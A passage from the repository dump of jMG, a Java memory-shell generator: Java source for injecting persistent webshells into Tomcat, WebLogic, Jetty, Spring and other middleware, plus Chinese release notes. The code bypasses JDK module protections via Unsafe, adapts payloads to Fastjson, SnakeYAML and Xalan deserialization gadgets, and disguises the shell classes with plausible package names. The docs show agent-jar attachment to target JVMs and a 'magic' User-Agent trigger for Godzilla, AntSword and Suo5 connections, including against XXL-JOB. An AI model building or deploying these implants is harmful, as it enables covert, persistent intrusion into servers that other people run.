| public void applyXALANAbstractTranslet() { 48 | try { 49 | JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet"); 50 | } catch (Exception e) { 51 | throw new RuntimeException(e); 52 | } 53 | } 54 | 55 | // Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口 56 | public void applyFastjsonGroovyASTTransformation() throws Exception { 57 | config.setImplementsASTTransformationType(true); 58 | JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation"); 59 | JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation"); 60 | } 61 | 62 | // snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口 63 | public void applySnakeYamlScriptEngineFactory() throws Exception { 64 | config.setImplementsScriptEngineFactory(true); 65 | JavassistUtil.implementInterface(ctClass, "javax.script.ScriptEngineFactory"); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | 4 | // https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk 5 | public class JDKBypassUtil { 6 | 7 | public static String bypassJDKModuleBody() throws Exception { 8 | return "{try {\n" + 9 | " Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" + 10 | " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" + 11 | " unsafeField.setAccessible(true);\n" + 12 | " Object unsafe = unsafeField.get(null);\n" + 13 | " java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" + 14 | " Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" + 15 | " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" + 16 | " java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" + 17 | " Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" + 18 | " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" + 19 | " getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" + 20 | " } catch (Exception ignored) {\n" + 21 | " }}"; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import java.util.Random; 4 | 5 | public class PackageNameUtil { 6 | 7 | private static final String[] packageNames = { 8 | "org.springframework", 9 | "org.apache.commons", 10 | "org.apache.logging", 11 | "org.apache", 12 | "com.fasterxml.jackson", 13 | "org.junit", 14 | "org.apache.commons.lang", 15 | "org.apache.http.client", 16 | "com.google.gso", 17 | "ch.qos.logback" 18 | }; 19 | 20 | public static String generatePackageName() { 21 | Random random = new Random(); 22 | String packageName = packageNames[random.nextInt(packageNames.length)]; 23 | return packageName; 24 | } 25 | 26 | 27 | public static String getRandomPackageName() { 28 | return generatePackageName(); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import java.util.AbstractMap; 4 | import java.util.Map; 5 | import java.util.Random; 6 | 7 | 8 | public class RandomHttpHeaderUtil { 9 | 10 | private static final Random RANDOM = new Random(); 11 | 12 | public static Map.Entry generateHeader() { 13 | String key = generateRandomKey(); 14 | String value = generateRandomValue(key); 15 | return new AbstractMap.SimpleEntry<>(key, value); 16 | } 17 | 18 | private static String generateRandomKey() { 19 | String[] keys = {"Referer","User-Agent"}; 20 | return keys[RANDOM.nextInt(keys.length)]; 21 | } 22 | 23 | private static String generateRandomValue(String key) { 24 | switch (key) { 25 | case "Referer": 26 | case "User-Agent": 27 | return generateRandomValue(); 28 | default: 29 | return ""; 30 | } 31 | } 32 | 33 | private static String generateRandomValue() { 34 | return CommonUtil.genRandomLengthString(4); 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/jmg/core/util/ResponseUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.core.util; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | 6 | 7 | public class ResponseUtil { 8 | 9 | private static final Map METHOD_BODY_MAP = new HashMap<>(); 10 | 11 | static { 12 | METHOD_BODY_MAP.put("tomcat", getCommonMethodBody()); 13 | METHOD_BODY_MAP.put("jboss", getCommonMethodBody()); 14 | METHOD_BODY_MAP.put("weblogic", getCommonMethodBody()); 15 | METHOD_BODY_MAP.put("glassfish", getCommonMethodBody()); 16 | METHOD_BODY_MAP.put("resin", getResinMethodBody()); 17 | METHOD_BODY_MAP.put("jetty", getJettyMethodBody()); 18 | METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody()); 19 | METHOD_BODY_MAP.put("undertow", getUndertowMethodBody()); 20 | METHOD_BODY_MAP.put("inforsuite", getCommonMethodBody()); 21 | METHOD_BODY_MAP.put("bes", getCommonMethodBody()); 22 | METHOD_BODY_MAP.put("tongweb", getTongwebMethodBody()); 23 | METHOD_BODY_MAP.put("apusic", getApusicMethodBody()); 24 | } 25 | 26 | public static String getMethodBody(String serverType) { 27 | return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), ""); 28 | } 29 | 30 | private static String getCommonMethodBody() { 31 | return "{javax.servlet.http.HttpServletResponse response = null;" + 32 | " try {" + 33 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" + 34 | " } catch (Exception ex) {" + 35 | " try {" + 36 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" + 37 | " } catch (Exception ex1) {" + 38 | " }" + 39 | " }" + 40 | " return response;}"; 41 | } 42 | 43 | private static String getResinMethodBody() { 44 | return "{javax.servlet.http.HttpServletResponse response;" + 45 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" + 46 | " return response;}"; 47 | } 48 | 49 | private static String getJettyMethodBody() { 50 | return "{javax.servlet.http.HttpServletResponse response;\n" + 51 | " try{\n" + 52 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" + 53 | " }catch (Exception e){\n" + 54 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" + 55 | " }\n" + 56 | " return response;}"; 57 | } 58 | 59 | private static String getWebsphereMethodBody() { 60 | return "{javax.servlet.http.HttpServletResponse response;" + 61 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" + 62 | " return response;}"; 63 | } 64 | 65 | 66 | private static String getUndertowMethodBody() { 67 | return "{javax.servlet.http.HttpServletResponse response = null;\n" + 68 | "java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" + 69 | "Object[] keys = map.keySet().toArray();\n" + 70 | "for (int i = 0; i < keys.length; i++) {\n" + 71 | " Object key = keys[i];\n" + 72 | " if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" + 73 | " response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" + 74 | " break;\n" + 75 | " }\n" + 76 | "}\n" + 77 | "return response;}"; 78 | 79 | } 80 | 81 | private static String getTongwebMethodBody() { 82 | return "{javax.servlet.http.HttpServletResponse response = null;" + 83 | " try {" + 84 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" + 85 | " } catch (Exception ex) {" + 86 | " try {" + 87 | " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" + 88 | " } catch (Exception ex1) {" + 89 | " }" + 90 | " }\n" + 91 | " return response;}"; 92 | } 93 | 94 | private static String getApusicMethodBody() { 95 | return "{javax.servlet.http.HttpServletResponse response;" + 96 | " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"http\"),\"response\");" + 97 | " return response;}"; 98 | } 99 | 100 | } 101 | -------------------------------------------------------------------------------- /jmg-core/src/main/java/org/springframework/web/servlet/AsyncHandlerInterceptor.java: -------------------------------------------------------------------------------- 1 | package org.springframework.web.servlet; 2 | 3 | public interface AsyncHandlerInterceptor { 4 | } 5 | -------------------------------------------------------------------------------- /jmg-core/src/main/resources/jmg-agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-core/src/main/resources/jmg-agent.jar -------------------------------------------------------------------------------- /jmg-custom/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | 1.0.9 8 | 9 | jmg-custom 10 | 11 | 12 | 13 | 14 | ${parent.groupId} 15 | jmg-core 16 | ${parent.version} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-custom/src/main/java/jmg/custom/generator/CustomGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.custom.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.generator.IShellGenerator; 8 | import jmg.core.util.CommonUtil; 9 | 10 | import javax.servlet.Filter; 11 | import javax.servlet.ServletRequestListener; 12 | import java.io.DataInputStream; 13 | import java.io.File; 14 | import java.io.FileInputStream; 15 | 16 | public class CustomGenerator implements IShellGenerator { 17 | @Override 18 | public void initShell(AbstractConfig config) { 19 | File f; 20 | try { 21 | f = new File(config.getClassFilePath()); 22 | if (!f.exists() || !f.isFile()) { 23 | return; 24 | } 25 | ClassPool classPool = ClassPool.getDefault(); 26 | classPool.insertClassPath(new ClassClassPath(Filter.class)); 27 | classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class)); 28 | classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor"); 29 | classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor"); 30 | String filePath = config.getClassFilePath(); 31 | CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath))); 32 | config.setShellClassName(ctClass.getName()); 33 | ctClass.detach(); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | throw new RuntimeException(e); 37 | } 38 | } 39 | 40 | @Override 41 | public byte[] makeShell(AbstractConfig config) throws Exception { 42 | initShell(config); 43 | byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath()); 44 | config.setShellBytes(bytes); 45 | config.setShellBytesLength(bytes.length); 46 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 47 | return bytes; 48 | } 49 | 50 | @Override 51 | public byte[] modifyShell(String className, AbstractConfig config) { 52 | return null; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708846585021.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708846585021.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708846851378.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708846851378.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847432299.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847432299.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847448833.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847448833.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847459275.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847459275.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847507811.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847507811.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847533913.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847533913.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847546219.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847546219.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847591532.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847591532.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847605226.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847605226.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847621706.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847621706.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847681909.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847681909.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847705412.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847705412.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847745212.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847745212.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847792621.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847792621.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847802775.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847802775.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847855479.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847855479.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847867937.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847867937.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847885651.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847885651.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847896934.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847896934.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847909642.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847909642.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847921416.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847921416.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847982473.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847982473.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708847996329.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708847996329.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708848005979.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708848005979.png -------------------------------------------------------------------------------- /jmg-docs/1.0.4/img/1708848140183.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.4/img/1708848140183.png -------------------------------------------------------------------------------- /jmg-docs/1.0.5/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: jMG v1.0.5 3 | author: pen4uin 4 | date: 2023-06-10 5 | --- 6 | 7 | 8 | # jMG v1.0.5 9 | 10 | ## 0x01 前言 11 | 12 | 上篇文章中介绍了该工具作为 woodpecekr 插件的工作模式,并通过多个代码执行漏洞场景进行了演示。 13 | 14 | 本篇文章是在添加对GUI 工作模式支持后的补充。 15 | 16 | ## 0x02 工具简介 17 | 18 | **jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。不仅可作为 woodpecker 的插件使用,也可以作为独立的 GUI 工具进行使用。 19 | 20 | 21 | ## 0x03 工作模式 22 | 23 | ### 插件 for Woodpecker 24 | 25 | ![](./img/1708845865802.png) 26 | 27 | ### 独立 GUI 28 | 29 | ![](./img/1708845885725.png) 30 | 31 | 32 | 33 | ## 0x04 小结 34 | 35 | 免责声明 36 | > 该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。 37 | 38 | 39 |
40 | 参考 41 | 42 | - https://github.com/feihong-cs/memShell 43 | - https://github.com/su18/MemoryShell 44 | - https://github.com/BeichenDream/GodzillaMemoryShellProject 45 | - https://github.com/woodpecker-framework/ 46 | - https://github.com/woodpecker-appstore/jexpr-encoder-utils 47 | 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /jmg-docs/1.0.5/img/1708845865802.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.5/img/1708845865802.png -------------------------------------------------------------------------------- /jmg-docs/1.0.5/img/1708845885725.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.5/img/1708845885725.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: jMG v1.0.6 3 | author: pen4uin 4 | date: 2023-09-03 5 | --- 6 | 7 | # jMG v1.0.6 8 | 9 | ## 0x01 前言 10 | 11 | jMG(Java Memshell Generator)v1.0.6 完成了来自社区师傅们的大部分反馈和需求。 12 | 13 | 14 | ## 0x02 更新日志 15 | 核心模块 16 | 17 | - 新增对网站管理工具「AntSword」的支持,提供 Listener/Filter 类型内存马的注入 18 | - 新增对HTTP代理工具「Suo5」 的支持,提供 Listener/Filter/Interceptor 类型内存马的注入 19 | - 新增对响应式框架 Spring WebFlux 内存马的支持 20 | - 修复中间件 WebSphere 注入器的 Bug 21 | - 删除class 的SourceFileAttribute (源文件名) 信息 22 | 23 | 使用体验 24 | 25 | - 新增设置菜单,支持多种主题切换 26 | - 新增右键菜单,支持以文件保存结果 27 | - 其他优化 28 | 29 | ## 0x03 功能测试 30 | 31 | ### AntSword 32 | 33 | 1、选择工具类型为 AntSword,生成 payload 34 | 35 | ![](./img/1708844544858.png) 36 | 37 | 2、注入后按照使用说明进行连接 38 | 39 | ![](./img/1708844556273.png) 40 | 41 | 42 | ### Suo5 43 | 44 | > 感谢Koalr师傅提供的suo5 listener/interceptor server端 45 | 46 | 1、选择工具类型为 Suo5,生成 payload 47 | 48 | ![](./img/1708844588193.png) 49 | 50 | 2、注入后按照使用说明进行连接 51 | 52 | ![](./img/1708844598859.png) 53 | 54 | ### Spring WebFlux 55 | 56 | 本地测试环境 57 | 58 | - SpringBoot 2.7.15 59 | - spring-webflux-5.3.29.jar 60 | 61 | 1、选择工具类型为 Godzilla,生成 payload(目前只适配了 Godzilla) 62 | 63 | ![](./img/1708844631477.png) 64 | 65 | 2、注入后按照使用说明进行连接 66 | 67 | ![](./img/1708844642216.png) 68 | 69 | ### 主题切换 70 | 71 | 此更新主要是为了提升用户体验。 72 | 73 | 默认 - FlatLightLaf 74 | 75 | ![](./img/1708844692315.png) 76 | 77 | 其他 - FlatDarcula 78 | 79 | ![](./img/1708844703467.png) 80 | 81 | ## 0x04 小结 82 | 83 | jMG 目前已经基本覆盖大部分场景的内存马利用需求。 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844544858.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844544858.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844556273.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844556273.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844588193.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844588193.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844598859.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844598859.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844631477.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844631477.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844642216.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844642216.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844692315.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844692315.png -------------------------------------------------------------------------------- /jmg-docs/1.0.6/img/1708844703467.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.6/img/1708844703467.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: jMG v1.0.8 - Java Agent 篇 3 | author: pen4uin 4 | date: 2024-04-12 5 | --- 6 | 7 | # jMG v1.0.8 - Java Agent 篇 8 | 9 | 鸽了半年的功能 —— 跨 JVM 进程注入内存马。 10 | 11 | https://github.com/pen4uin/java-memshell-generator/issues/4 12 | 13 | ## 0x01 简介 14 | 15 | 新增对 Tomcat 和 SpringBoot(SpringMVC) Agent 注入内存马的支持,并分别在 Tomcat 8 + JDK 8、SpringBoot 2 + JRE 8、XXL-JOB 2.1.0 完成测试。 16 | 17 | ## 0x02 功能测试 18 | 19 | ### Tomcat 8 + JDK 8 20 | 21 | 0、测试环境 22 | 23 | - Tomcat 8.5 24 | - JDK 8 25 | 26 | 1、选择 Tomcat + JAR_AGENT 27 | 28 | ![](./img/1713209159695.png) 29 | 30 | 2、将 agent 传到目标服务器上执行 31 | 32 | ```shell 33 | # list pid 34 | java -jar jmg-agent.jar 35 | # attach pid 36 | java -jar jmg-agent.jar [pid] 37 | ``` 38 | 39 | ![](./img/1713209182608.png) 40 | 41 | 3、注入内存马 42 | 43 | - 携带 User-Agent: magic 触发内存马注入逻辑 44 | 45 | ```http 46 | GET / HTTP/1.1 47 | Host: 127.0.0.1:9090 48 | User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 49 | Accept: image/avif,image/webp,*/* 50 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 51 | Accept-Encoding: gzip, deflate 52 | Connection: close 53 | ``` 54 | 55 | 4、按照基础信息进行连接 56 | 57 | ![](./img/1713209211285.png) 58 | 59 | ### SpringBoot 2 + JRE 8 60 | 61 | 0、测试环境 62 | - SpringBoot 2.5.3 + Embedded Jetty 63 | - JRE 8 64 | 65 | 1、选择 SpringMVC + JAR_AGENT 66 | 67 | ![](./img/1713209265218.png) 68 | 69 | 2、将生成的 agent 传到目标服务器上执行 70 | 71 | 纯 jre 环境无 tools.jar,jmg-agent 会自动释放内置 tools.jar 到临时目录 72 | 73 | ![](./img/1713209278067.png) 74 | 75 | 3、注入内存马 76 | 77 | - 携带 User-Agent: magic 触发内存马注入逻辑 78 | 79 | ```http 80 | GET / HTTP/1.1 81 | Host: 127.0.0.1:9090 82 | User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 83 | Accept: image/avif,image/webp,*/* 84 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 85 | Accept-Encoding: gzip, deflate 86 | Connection: close 87 | ``` 88 | 89 | 4、按照基础信息进行连接 90 | 91 | ![](./img/1713209302039.png) 92 | 93 | ### XXL-JOB (executor -> admin) 94 | 95 | 0、测试环境 96 | 97 | - XXL-JOB 2.1.0 98 | - JDK 8 99 | - Executor 与 Admin 在同一台服务器上 100 | 101 | 1、选择Tomcat + JAR_AGENT 102 | 103 | ![](./img/1713209319058.png) 104 | 105 | 2、将 agent 写到目标服务器上执行 106 | 107 | (1) 新增任务列 pid 108 | 109 | ![](./img/1713209337767.png) 110 | 111 | (2) 调度日志看结果 112 | 113 | ```text 114 | [*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication] 115 | [*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication] 116 | ``` 117 | 118 | (3) 选择 admin pid 进行 attach 119 | 120 | ![](./img/1713209372043.png) 121 | 122 | (4) attach 成功 123 | 124 | ![](./img/1713209382797.png) 125 | 126 | 3、注入内存马 127 | 128 | - 携带 User-Agent: magic 触发内存马注入逻辑 129 | 130 | ```http 131 | GET /xxl-job-admin/toLogin HTTP/1.1 132 | Host: 127.0.0.1:9090 133 | User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 134 | Accept: application/json, text/javascript, */*; q=0.01 135 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 136 | Accept-Encoding: gzip, deflate 137 | Connection: close 138 | ``` 139 | 140 | 4、按照基础信息进行连接 141 | 142 | ![](./img/1713209425091.png) 143 | 144 | ## 0x03 小结 145 | 146 | 测试环境属于较理想环境,实战可能会遇到各种坑点,若有问题反馈与讨论请附上环境信息+报错日志。 147 | -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712860212581.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712860212581.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712860232195.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712860232195.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712860295605.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712860295605.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712866128775.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712866128775.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712866280281.png: -------------------------------------------------------------------------------- 